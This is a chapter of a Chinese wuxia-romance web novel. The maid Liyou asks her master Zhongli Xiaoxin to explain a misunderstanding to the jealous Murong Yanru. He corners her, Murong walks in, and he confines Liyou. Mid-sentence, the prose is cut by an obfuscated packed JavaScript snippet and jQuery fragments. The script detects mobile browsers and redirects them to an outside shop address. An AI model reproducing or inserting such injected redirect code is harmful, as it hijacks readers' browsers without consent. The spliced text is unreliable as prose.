离忧从来觉着自己并非愚蠢不可救药之人,但偏偏这次,聪慧如她,竟怎么也猜不透小萧究竟葫芦里卖得什么药。她唯一能说服自己的理由,仅有小萧为了博取慕容烟如之心,即使万般不愿,也会为这大小姐做任何牺牲而已。
虽然她心里很不乐意承认,娶她属于一种牺牲。
自那日小萧放话后,离忧一直避而不见,一来不知如何面对,二来心中有气,怕忍不住动了口角,钟离潇新此等人物断不会为她收拾烂摊子。正因种种消极思想和有心避世的情绪作祟,当离忧得到小萧被慕容华派出去完成任务的消息之际,已是小萧离开的十多日之后了。
几日来,钟离潇新一反昔日作风,丝毫未找她麻烦,或是使唤她做这做那以供消遣,安静得几乎让她怀疑她还是不是他的侍女。
离忧思前想后,觉得事情变成现在这般一发不可收拾,钟离潇新有着不可推卸的责任,如果从根源上解决了问题,由当事人向慕容烟如解释清楚,或许慕容烟如还会大发慈悲放她一马。
小萧那里是无力回天了,眼下需做的,就是无论用什么方法,都得让钟离潇新好好解决此事。
思及此,离忧暗暗拟好腹稿,决意找钟离潇新认真谈一谈。
一路小跑至钟离潇新住处,钟离潇新房门虚掩,离忧敲了敲,无人应答,索性直接将门推开,蹑手蹑脚地走了进去。
当是时,正逢钟离潇新每日打坐时间。离忧见他正襟危坐,眉目深锁,双眼紧闭,与兮世打坐颇有相似,忍不住伸手在他面前挥了挥。
钟离潇新神情未变,依是端着身躯,似是入了深境,并未察觉。
毕竟是她的主子,即便现在将弱点暴露无遗,离忧仍是不敢造次,生怕一个不小心惹怒了人家,转眼就成了一堆白骨。要不人怎么连打坐都不关上房门,显然早有防备,非高手不可挑衅。
她纠结了半晌,情感最终还是战胜了理智。趁着这个报仇的好机会,她开始将平日里学得武功招式在钟离潇新几步外忘我地比划起来。
说是招式,也仅仅是花架子,丝毫未注内力,甚至不敢将拳脚落在对方身上。便是这样一种自欺欺人的报复方式,起初也着实让她提心吊胆。
随着对方许久没有反应,离忧的胆子也渐渐肥了起来,想起钟离潇新给她带来的种种倒霉之事,手下比划得也就越发卖力了。
打着打着打得正心潮澎湃,抬脚将要一个侧踢,那静默不动的钟离潇新却霍然睁了眼,淡淡将她望住,琉玉般的双眸泛起一片深重的墨色。
离忧始料未及,喉头咕嘟一声,右脚带起迅风,静止在钟离潇新耳侧。
钟离潇新目不斜视,对耳畔的异物恍若不觉,目光停滞在她脸上,神情高深莫测。
对视片刻,离忧终是底气全卸。她尴尬地垂下眼眸,左脚跳着退了几步,以便将右腿收回去,接着理好裙摆,鼓起勇气迎上钟离潇新的目光,假意镇定道:“那个……刚刚庄主您耳边有一只飞虫,奴婢是想帮您除掉它以防打扰了您练功调息来着。”
言毕干笑几声,以缓和几近冰冻的气氛。
但看对面钟离潇新面不改色地凝视她,没有动作,亦不作任何表态,反是令她愈加心虚,神情不由紧张起来,连话都说不顺遂了:“我我我我我……不是,那个……奴婢真不是故意的,奴婢,奴婢来是为了和庄主聊聊人生的!”
钟离潇新神色幽幽,依是淡漠地望着她,不发一语。
离忧心中确然有些慌,眼瞅着再解释下去非但解决不了事情,还有越描越黑的嫌疑,只得咬唇缄口,思索下一步该如何应对。
不知是否多心,她总觉得今日的钟离潇新不大对劲。想来她做蠢事儿被这位大少爷抓现行的次数也不在少,除了初次见面大少爷有些冲动,其余时候大少爷通常只是凉凉调侃,事后再借机报复,却绝不会以这种慑人的态度面对她。现下他的神情又如初见那般冷不可近,着实令她有点儿不知所措。
难道今日做得太过火,他忍无可忍了?
尚陷入在自己的世界里踌躇懊恼,离忧丝毫没有意识到那头的钟离潇新已然从座上站起。
他步至她身前,相隔仅一步之遥,倾下身来,直直望进她的双眸。
二人距离之近,他的鼻尖几乎将要触到她的。
“闹得可还舒畅?”他的声音。
那调子虽是清清淡淡,却渗着几丝冰凉的寒意。
离忧霍然回神,视线一转,正迎上他的目光。
他离她如此之近,他的气息就萦绕在她身边。这气息远不似前几日那般掺着星星点点的暖意,而是侵入骨髓的冷,不带半点温情,令人不寒而栗。
离忧心虚地移开目光,边连连后退边理着思绪道:“庄主,奴婢并不是要闹什么。您应该也清楚为何慕容小姐会给奴婢指婚。若不是您当初公然表现出与奴婢关系甚密在先,慕容小姐断不会急于除去奴婢这个眼中钉。奴婢今日来也无他事,只想求您放奴婢一马,去和慕容小姐解释清楚,这样于奴婢于小萧都……”眼见着已退到墙角再无退路,一转头钟离潇新已逼近面前,那双手跟着一出,堵住她左右,牢牢将她锁在墙角,到嘴的最后一个“好”字愣是吞了回去,再也发不出声了。
他低下头来,保持着先前的姿势,与她的距离却越发近了。尽管离忧尽力把头贴在墙上,希图离他远一点儿,可依然只是徒劳的垂死挣扎而已。
挣扎尚未告一段落,面前已然再次传来钟离潇新低沉的嗓音,一瞬让她的所有感官都敏感起来:“关系甚密?”言语之际又逼近了些。
惜字如金本就是他的作风,即使迟钝如她,依然瞬间明白了他的言外之意。加之二人现在的动作暧昧,一抬眼就是那张完美如雕塑的俊脸,离忧不觉红了红脸,颤巍巍解释道:“就……就是那日您故意与我附耳说……说话嘛……”
诸如现下的这般没骨气,在此后的许多时日里,每每回想今日,离忧都恨不得切腹自尽以正形象。其实她这也算是为了完成大业的一种变相牺牲,其本质还是高尚神圣的,毕竟大丈夫就当能屈能伸。对自己的行为表示充分肯定后,她果断抛下了一种称之为脸皮的东西,打算以一种自欺欺人的方式,从容地当做一切都没发生过。
然而离忧做梦也没有想到,就在钟离潇新咄咄逼人,而她正处于水深火热无法脱身之际,一位不速之客很是时候地不请自来了。
“你们……在干什么。”
声音之耳熟,令离忧瞬时一慌,脸色都变了。
依眼下二人的动作,想不让人想入非非都难。
她伸手试图推开钟离潇新的钳制,然而习武之人,又是个男人,岂是她能轻易推开的。
钟离潇新手上未动,若无其事地闻声回头。只见二人视线所及,几步开外,正立着柳眉倒竖,目中怒火疯燃的慕容烟如。
离忧心中哀嚎一声,立时有种跳进黄河也洗不清的感觉。
钟离潇新倒是显得很淡定,仅是微怔片刻,继而静静收回双手,一言不发地转身欲走。
“潇新哥!”慕容烟如大叫一声,急急追了上去,“潇新哥,我找了你好几天你都避而不见,难道……难道是因为……”目光落向已成石化状立在墙角的离忧,生生顿住。
钟离潇新闭上双眼,低低道:“出去。”显然并不打算多作解释。
一旁离忧听着简直要哭了。大少爷不对之前的事做个澄清也就罢了,眼下不仅雪上加霜,更予人好大一片自由遐想的空间。以慕容烟如对大少爷的思慕程度,她今后是别想有好日子过了。
猛咳几声,她希图隐晦地引起钟离
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525561|203474||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
潇新的注意,唤回他不知到底有没有存在过的良知。
那钟离潇新却看都不看她,声音越发低下去:“莫让我说第二遍。”
他并未看着谁,这句子也没主语,对哪个说的还真分不清楚。离忧很识趣,其实本来就巴不得赶紧逃离这个地方,忙不迭地告退要溜出去。脚下才移了几步,就听那钟离潇新又蓦然张口唤道:“离忧。”
一直低头努力减少存在感的离忧动作当即一滞,抽了抽嘴角:“奴……奴婢在。”
“留下。”他吐出简洁有力的两个字来。
言下之意,赶谁出去就很清楚了。
慕容烟如惊愕地看了看他,又看看一脸欲哭无泪的离忧,隐忍许久的脸色已经难看到不能再难看了。这厢还欲说些什么来救场,钟离潇新却已径自往里屋去了。
碍于慕容烟如在场,离忧也不好直接跟着钟离潇新进去,一时站在墙角进退两难。
慕容烟如深吸几口气,稳了稳心神,瞥了瞥墙角的离忧,眼里的憎意越发浓重,面上却依然挂着温和有礼的笑容,向离忧的方向迈了几步,停下,用轻的只有彼此能听见的声音幽幽道:“看来,你和小萧的婚期是该提前了。”
笑容蓦然一收,她猛一甩袖,转身恨恨出了屋子。
这背影,徒增凄凉。
离忧目送她悠悠而去,一时百感交集,说不出的黯然神伤。
经过刚才的事,她已十分后悔一时鲁莽竟跑来找钟离潇新帮忙,此刻想留下的被赶走,想逃走的却被留下,人生在世,果真半点不由人。
甩甩脑袋,现实终究要面对,眼下一位瘟神虽是离开了,屋里还有位不知意欲何为的瘟神正恭候着她。既是躲不过……她长叹一声,欲哭无泪地向里屋而去。
彼时的钟离潇新正立于窗前,视线停在窗外,不知在想些什么。
离忧想起当时在云溪诸多女子心系于他,因种种琐事牵绊,心中对他既怀忌惮又存不满,以致她从未认真仔细地瞧过他。自方才他逼得二人之间只有咫尺之距后,她这才惊觉,钟离潇新的性格虽然古怪,但的的确确,担得起举世无双的美男子之称。
此等精致容颜,当只存于画中,在脑海中多做刻画仿佛都是亵渎。尤其是那双眼睛,清寒剔透,令人过目难忘。
只是……这双眼……她凝视着他完美的侧颜,恍然忆起了另一双同样漂亮却寒意深重的眼,不由看得痴了。
许是听闻了脚步声却迟迟不见对方作出丝毫反应,钟离潇新终于收回视线,缓缓转过头来,望向已对着他的脸发呆甚久,且神情恍惚的离忧,眯起眼道:“看够了?”
被当事人如此直白地数落,离忧就像小偷被人抓了现行般深感羞耻。脸上飞速晕起一抹绯红,她急切地收回目光,决意换一种方式阐明心思:“庄主,诸如今日……今日之事。”思及前事,双颊绯红更深,“加之上回的附耳低语,想必慕容小姐已全然误会。奴婢被误会了不要紧,但怎么能让奴婢丢了您的面子。还请庄主出面向慕容小姐把事情解释清楚,这样既不有损您的英明,也不会让您与慕容小姐产生嫌隙,更可帮助小萧摆脱我这个包袱,岂不是一石三鸟?”
离忧的所有分析听来确实不无道理,可惜,钟离潇新偏偏是个特立独行的主儿,旁人永远无法猜到一件结果分明的事情他会如何去处理。别人做事求利益,他却只凭心情,从不按常理出牌。
所以,钟离潇新只是面无表情地看着她,波澜不惊道:“说完了?”
他这重点,不太对呀。离忧心头波涛汹涌,面上却依然带着标准虚假的微笑:“……说完了。”
“擅闯客房,挑衅主上。”钟离潇新移开目光,对她的苦口婆心恍若未闻,兀自坐了下来,声音比方才更冷。
“禁足五日,回去领罚。”